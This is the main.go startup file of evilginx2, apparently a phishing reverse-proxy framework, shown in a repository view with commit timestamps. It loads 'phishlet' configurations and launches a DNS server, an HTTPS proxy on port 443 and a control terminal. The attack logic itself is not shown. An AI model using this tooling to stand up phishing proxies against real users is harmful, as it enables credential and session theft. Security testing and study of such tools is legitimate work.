evilginx2/main.go

139 lines
3.2 KiB
Go
Raw Normal View History

2018-07-26 11:20:37 +02:00
package main
import (
"flag"
"io/ioutil"
"os"
"os/user"
"path/filepath"
"regexp"
2019-10-13 17:05:47 +02:00
"github.com/kgretzky/evilginx2/core"
"github.com/kgretzky/evilginx2/database"
"github.com/kgretzky/evilginx2/log"
2018-07-26 11:20:37 +02:00
)
var phishlets_dir = flag.String("p", "", "Phishlets directory path")
var debug_log = flag.Bool("debug", false, "Enable debug output")
2018-09-08 13:45:17 +02:00
var developer_mode = flag.Bool("developer", false, "Enable developer mode (generates self-signed certificates for all hostnames)")
2018-07-26 11:20:37 +02:00
func joinPath(base_path string, rel_path string) string {
var ret string
if filepath.IsAbs(rel_path) {
ret = rel_path
} else {
ret = filepath.Join(base_path, rel_path)
}
return ret
}
func main() {
exe_path, _ := os.Executable()
exe_dir := filepath.Dir(exe_path)
core.Banner()
flag.Parse()
if *phishlets_dir == "" {
*phishlets_dir = joinPath(exe_dir, "./phishlets")
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
*phishlets_dir = "/usr/share/evilginx/phishlets/"
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
log.Fatal("you need to provide the path to directory where your phishlets are stored: ./evilginx -p <phishlets_path>")
return
}
}
}
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
log.Fatal("provided phishlets directory path does not exist: %s", *phishlets_dir)
return
}
log.DebugEnable(*debug_log)
if *debug_log {
log.Info("debug output enabled")
}
phishlets_path := *phishlets_dir
log.Info("loading phishlets from: %s", phishlets_path)
cfg_dir := ""
if cfg_dir == "" {
usr, err := user.Current()
if err != nil {
log.Fatal("%v", err)
return
}
cfg_dir = filepath.Join(usr.HomeDir, ".evilginx")
}
err := os.MkdirAll(cfg_dir, os.FileMode(0700))
if err != nil {
log.Fatal("%v", err)
return
}
crt_path := joinPath(cfg_dir, "./crt")
if err := core.CreateDir(crt_path, 0700); err != nil {
log.Fatal("mkdir: %v", err)
return
}
cfg, err := core.NewConfig(cfg_dir, "")
if err != nil {
log.Fatal("config: %v", err)
return
}
db, err := database.NewDatabase(filepath.Join(cfg_dir, "data.db"))
if err != nil {
log.Fatal("database: %v", err)
return
}
files, err := ioutil.ReadDir(phishlets_path)
if err != nil {
log.Fatal("failed to list phishlets directory '%s': %v", phishlets_path, err)
return
}
for _, f := range files {
if !f.IsDir() {
pr := regexp.MustCompile(`([a-zA-Z0-9\-\.]*)\.yaml`)
2018-07-26 11:20:37 +02:00
rpname := pr.FindStringSubmatch(f.Name())
if rpname == nil || len(rpname) < 2 {
continue
}
pname := rpname[1]
if pname != "" {
pl, err := core.NewPhishlet(pname, filepath.Join(phishlets_path, f.Name()), cfg)
if err != nil {
log.Error("failed to load phishlet '%s': %v", f.Name(), err)
continue
}
2018-11-21 09:32:22 +01:00
//log.Info("loaded phishlet '%s' made by %s from '%s'", pl.Name, pl.Author, f.Name())
2018-07-26 11:20:37 +02:00
cfg.AddPhishlet(pname, pl)
}
}
}
ns, _ := core.NewNameserver(cfg)
ns.Start()
hs, _ := core.NewHttpServer()
hs.Start()
crt_db, err := core.NewCertDb(crt_path, cfg, ns, hs)
if err != nil {
log.Fatal("certdb: %v", err)
return
}
2018-09-08 13:45:17 +02:00
hp, _ := core.NewHttpProxy("", 443, cfg, crt_db, db, *developer_mode)
2018-07-26 11:20:37 +02:00
hp.Start()
2018-09-08 13:45:17 +02:00
t, err := core.NewTerminal(cfg, crt_db, db, *developer_mode)
2018-07-26 11:20:37 +02:00
if err != nil {
log.Fatal("%v", err)
return
}
t.DoWork()
}